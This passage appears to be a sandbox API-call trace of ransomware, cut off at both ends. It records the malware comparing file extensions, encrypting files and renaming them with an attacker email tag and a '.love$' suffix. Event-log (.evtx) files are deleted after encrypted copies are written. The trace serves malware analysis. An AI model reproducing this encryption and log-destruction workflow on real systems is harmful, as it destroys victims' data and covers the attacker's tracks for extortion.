(lpString=".7z") returned 3 [0103.703] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.703] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.703] lstrlenW (lpString=".dbf") returned 4 [0103.704] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.704] lstrlenW (lpString=".1cd") returned 4 [0103.704] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.704] lstrlenW (lpString=".jpg") returned 4 [0103.704] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.704] lstrlenW (lpString=".doc") returned 4 [0103.704] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.704] lstrlenW (lpString=".docx") returned 5 [0103.704] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0103.704] lstrlenW (lpString=".pdf") returned 4 [0103.704] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString=".xls") returned 4 [0103.704] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString=".xlsx") returned 5 [0103.704] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0103.704] lstrlenW (lpString=".ppt") returned 4 [0103.704] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.704] lstrlenW (lpString=".zip") returned 4 [0103.704] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString=".rar") returned 4 [0103.704] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.704] lstrlenW (lpString=".bz2") returned 4 [0103.705] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.705] lstrlenW (lpString=".7z") returned 3 [0103.705] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.705] lstrlenW (lpString=".dbf") returned 4 [0103.705] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.705] lstrlenW (lpString=".1cd") returned 4 [0103.705] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.705] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0103.705] lstrlenW (lpString=".jpg") returned 4 [0103.705] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.705] lstrcmpiW (lpString1=".mzz", lpString2=".love$") returned 1 [0103.705] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0103.705] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.706] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=43131591) returned 1 [0103.706] CloseHandle (hObject=0x364) returned 1 [0103.706] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0103.706] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0103.706] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[im.online@aol.com].love$")) returned 1 [0103.707] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0103.707] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc64 | out: lpNewFilePointer=0x0) returned 1 [0103.707] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.707] ReadFile (in: hFile=0x364, lpBuffer=0x35d6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x35d6058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.717] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.717] ReadFile (in: hFile=0x364, lpBuffer=0x3616058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3616058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0103.723] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a9fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0103.723] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.723] ReadFile (in: hFile=0x364, lpBuffer=0x3656058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fc30, lpOverlapped=0x0 | out: lpBuffer=0x3656058*, lpNumberOfBytesRead=0x2a9fc30*=0x40000, lpOverlapped=0x0) returned 1 [0104.319] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0104.319] WriteFile (in: hFile=0x364, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2a9fca8, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0107.625] SetEndOfFile (hFile=0x364) returned 1 [0107.625] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f53eb8 [0107.632] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.632] WriteFile (in: hFile=0x364, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.633] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.633] WriteFile (in: hFile=0x364, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.635] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fc74 | out: lpNewFilePointer=0x0) returned 1 [0107.635] WriteFile (in: hFile=0x364, lpBuffer=0x3f53eb8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fc80, lpOverlapped=0x0 | out: lpBuffer=0x3f53eb8*, lpNumberOfBytesWritten=0x2a9fc80*=0x40000, lpOverlapped=0x0) returned 1 [0107.637] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f53eb8 | out: hHeap=0x4b0000) returned 1 [0107.640] CloseHandle (hObject=0x364) returned 1 [0114.119] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.120] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.120] lstrlenW (lpString=".doc") returned 4 [0114.120] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0114.120] lstrlenW (lpString=".docx") returned 5 [0114.120] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0114.120] lstrlenW (lpString=".pdf") returned 4 [0114.120] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0114.120] lstrlenW (lpString=".xls") returned 4 [0114.120] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0114.120] lstrlenW (lpString=".xlsx") returned 5 [0114.120] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0114.120] lstrlenW (lpString=".ppt") returned 4 [0114.121] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0114.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.121] lstrlenW (lpString=".zip") returned 4 [0114.121] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0114.121] lstrlenW (lpString=".rar") returned 4 [0114.121] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0114.121] lstrlenW (lpString=".bz2") returned 4 [0114.121] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0114.121] lstrlenW (lpString=".7z") returned 3 [0114.121] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0114.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.121] lstrlenW (lpString=".dbf") returned 4 [0114.121] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0114.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.121] lstrlenW (lpString=".1cd") returned 4 [0114.121] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0114.121] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.121] lstrlenW (lpString=".jpg") returned 4 [0114.121] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0114.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.122] lstrlenW (lpString=".doc") returned 4 [0114.122] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0114.122] lstrlenW (lpString=".docx") returned 5 [0114.122] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0114.122] lstrlenW (lpString=".pdf") returned 4 [0114.122] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0114.122] lstrlenW (lpString=".xls") returned 4 [0114.122] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0114.122] lstrlenW (lpString=".xlsx") returned 5 [0114.122] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0114.122] lstrlenW (lpString=".ppt") returned 4 [0114.125] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0114.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.126] lstrlenW (lpString=".zip") returned 4 [0114.126] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0114.126] lstrlenW (lpString=".rar") returned 4 [0114.126] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0114.126] lstrlenW (lpString=".bz2") returned 4 [0114.126] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0114.126] lstrlenW (lpString=".7z") returned 3 [0114.126] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0114.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.126] lstrlenW (lpString=".dbf") returned 4 [0114.126] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0114.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.126] lstrlenW (lpString=".1cd") returned 4 [0114.126] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0114.126] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0114.126] lstrlenW (lpString=".jpg") returned 4 [0114.126] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0114.127] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.127] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 57 [0114.127] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.127] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0114.127] CloseHandle (hObject=0x364) returned 1 [0114.128] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0114.128] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.128] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.128] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.128] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0114.129] GetLastError () returned 0x0 [0114.129] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0114.137] WriteFile (in: hFile=0x37c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0114.139] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.140] WriteFile (in: hFile=0x37c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x146, lpOverlapped=0x0) returned 1 [0114.140] SetEndOfFile (hFile=0x37c) returned 1 [0114.140] CloseHandle (hObject=0x37c) returned 1 [0114.632] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.632] SetEndOfFile (hFile=0x364) returned 1 [0114.635] CloseHandle (hObject=0x364) returned 1 [0114.635] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.636] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0114.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.637] lstrlenW (lpString=".doc") returned 4 [0114.637] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".docx") returned 5 [0114.637] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.637] lstrlenW (lpString=".pdf") returned 4 [0114.637] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".xls") returned 4 [0114.637] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".xlsx") returned 5 [0114.637] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.637] lstrlenW (lpString=".ppt") returned 4 [0114.637] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.637] lstrlenW (lpString=".zip") returned 4 [0114.637] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".rar") returned 4 [0114.637] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".bz2") returned 4 [0114.637] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.637] lstrlenW (lpString=".7z") returned 3 [0114.637] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString=".dbf") returned 4 [0114.638] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString=".1cd") returned 4 [0114.638] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString=".jpg") returned 4 [0114.638] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString=".doc") returned 4 [0114.638] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString=".docx") returned 5 [0114.638] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.638] lstrlenW (lpString=".pdf") returned 4 [0114.638] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString=".xls") returned 4 [0114.638] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString=".xlsx") returned 5 [0114.638] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.638] lstrlenW (lpString=".ppt") returned 4 [0114.638] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.638] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.638] lstrlenW (lpString=".zip") returned 4 [0114.638] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.639] lstrlenW (lpString=".rar") returned 4 [0114.639] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.639] lstrlenW (lpString=".bz2") returned 4 [0114.639] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.639] lstrlenW (lpString=".7z") returned 3 [0114.639] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.639] lstrlenW (lpString=".dbf") returned 4 [0114.639] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0114.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.639] lstrlenW (lpString=".1cd") returned 4 [0114.639] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0114.639] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx") returned 65 [0114.639] lstrlenW (lpString=".jpg") returned 4 [0114.639] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0114.639] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0114.639] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0114.639] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.640] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=69632) returned 1 [0114.640] CloseHandle (hObject=0x364) returned 1 [0114.640] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0114.640] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0114.640] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0114.640] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.641] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.641] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0114.641] GetLastError () returned 0x0 [0114.641] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x11000, lpOverlapped=0x0) returned 1 [0114.645] WriteFile (in: hFile=0x37c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x11010, lpOverlapped=0x0) returned 1 [0114.648] ReadFile (in: hFile=0x364, lpBuffer=0x35d6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0114.648] WriteFile (in: hFile=0x37c, lpBuffer=0x35d6020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d6020*, lpNumberOfBytesWritten=0x2a9fc94*=0x138, lpOverlapped=0x0) returned 1 [0114.648] SetEndOfFile (hFile=0x37c) returned 1 [0114.649] CloseHandle (hObject=0x37c) returned 1 [0114.652] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0114.652] SetEndOfFile (hFile=0x364) returned 1 [0114.654] CloseHandle (hObject=0x364) returned 1 [0114.654] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0114.655] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0114.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.655] lstrlenW (lpString=".doc") returned 4 [0114.655] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0114.655] lstrlenW (lpString=".docx") returned 5 [0114.655] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0114.655] lstrlenW (lpString=".pdf") returned 4 [0114.655] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0114.655] lstrlenW (lpString=".xls") returned 4 [0114.655] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0114.655] lstrlenW (lpString=".xlsx") returned 5 [0114.655] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0114.655] lstrlenW (lpString=".ppt") returned 4 [0114.655] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0114.655] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString=".zip") returned 4 [0114.656] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString=".rar") returned 4 [0114.656] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString=".bz2") returned 4 [0114.656] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0114.656] lstrlenW (lpString=".7z") returned 3 [0114.656] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0114.656] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 58 [0114.656] lstrlenW (lpString=".dbf") returned 4 [0114.656] lstrcmpiW 